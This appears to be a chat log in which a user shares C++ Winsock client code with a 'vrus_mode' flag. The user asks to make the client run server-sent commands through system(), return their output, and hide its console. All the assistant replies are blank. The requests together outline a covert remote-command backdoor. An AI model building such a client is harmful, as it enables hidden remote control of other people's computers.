#define WINSOCKDEPRECATEDNOWARNINGS // Suppress deprecated functions warnings #include…
- User
#define _WINSOCK_DEPRECATED_NO_WARNINGS // Suppress deprecated functions warnings
#include <winsock2.h> #include <ws2tcpip.h> #include #include
// Link with the Ws2_32.lib library #pragma comment(lib, "Ws2_32.lib")
// CONFIG // const char* DEFAULT_IP = "127.0.0.1"; const int DEFAULT_PORT = 8080; const bool vrus_mode = false; ////////////
int main() { WSADATA wsaData; SOCKET ConnectSocket = INVALID_SOCKET; struct sockaddr_in clientService;
// Initialize Winsock int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); if (iResult != 0) { if (!vrus_mode) std::cerr << "WSAStartup failed with error: " << iResult << std::endl; return 1; } // Create a SOCKET for connecting to server ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (ConnectSocket == INVALID_SOCKET) { if (!vrus_mode) std::cerr << "socket failed with error: " << WSAGetLastError() << std::endl; WSACleanup(); return 1; } // Setup the sockaddr_in structure with the server address and port clientService.sin_family = AF_INET; clientService.sin_port = htons(DEFAULT_PORT); inet_pton(AF_INET, DEFAULT_IP, &clientService.sin_addr); // Connect to server iResult = connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService)); if (iResult == SOCKET_ERROR) { if (!vrus_mode) std::cerr << "connect failed with error: " << WSAGetLastError() << std::endl; closesocket(ConnectSocket); WSACleanup(); return 1; } if (!vrus_mode) std::cout << "Connected to server." << std::endl; const int sendbuflen = 512; char recvbuf[sendbuflen]; int recvbuflen = sendbuflen; while (true) { // Receive response from server iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0); if (iResult > 0) { if (!vrus_mode) std::cout << "Server: " << std::string(recvbuf, recvbuf + iResult) << std::endl; } else if (iResult == 0) { if (!vrus_mode) std::cout << "Connection closed." << std::endl; break; } else { if (!vrus_mode) std::cerr << "recv failed with error: " << WSAGetLastError() << std::endl; closesocket(ConnectSocket); WSACleanup(); return 1; } } // Cleanup closesocket(ConnectSocket); WSACleanup(); return 0;} make the client execute the server command using system() and make the client send the result of the command to the server, don’t write the server, I have it
- Assistant
- User
result of executing command not sending to server: there's client log: Connected to server. Server command: dir Server command: asd "asd" is not internal or external command, executable program or batch file. Server command: echo test Server log: Client connected Enter message to send to client: dir Enter message to send to client: asd Enter message to send to client: echo test Enter message to send to client:
- Assistant
- User
// Send the message iResult = send(ClientSocket, message.c_str(), message.length(), 0); if (iResult == SOCKET_ERROR) { std::cerr << "send failed with error: " << WSAGetLastError() << std::endl; closesocket(ClientSocket); WSACleanup(); return 1; } there how send result to server, modify it to send result to server
- Assistant
- User
- Assistant
- User
server logs: Client connected Enter message to send to client: dir Bytes received: 512 Bytes received: 326 where the result????????!!
- Assistant
- User
how to hide console in c++
- Assistant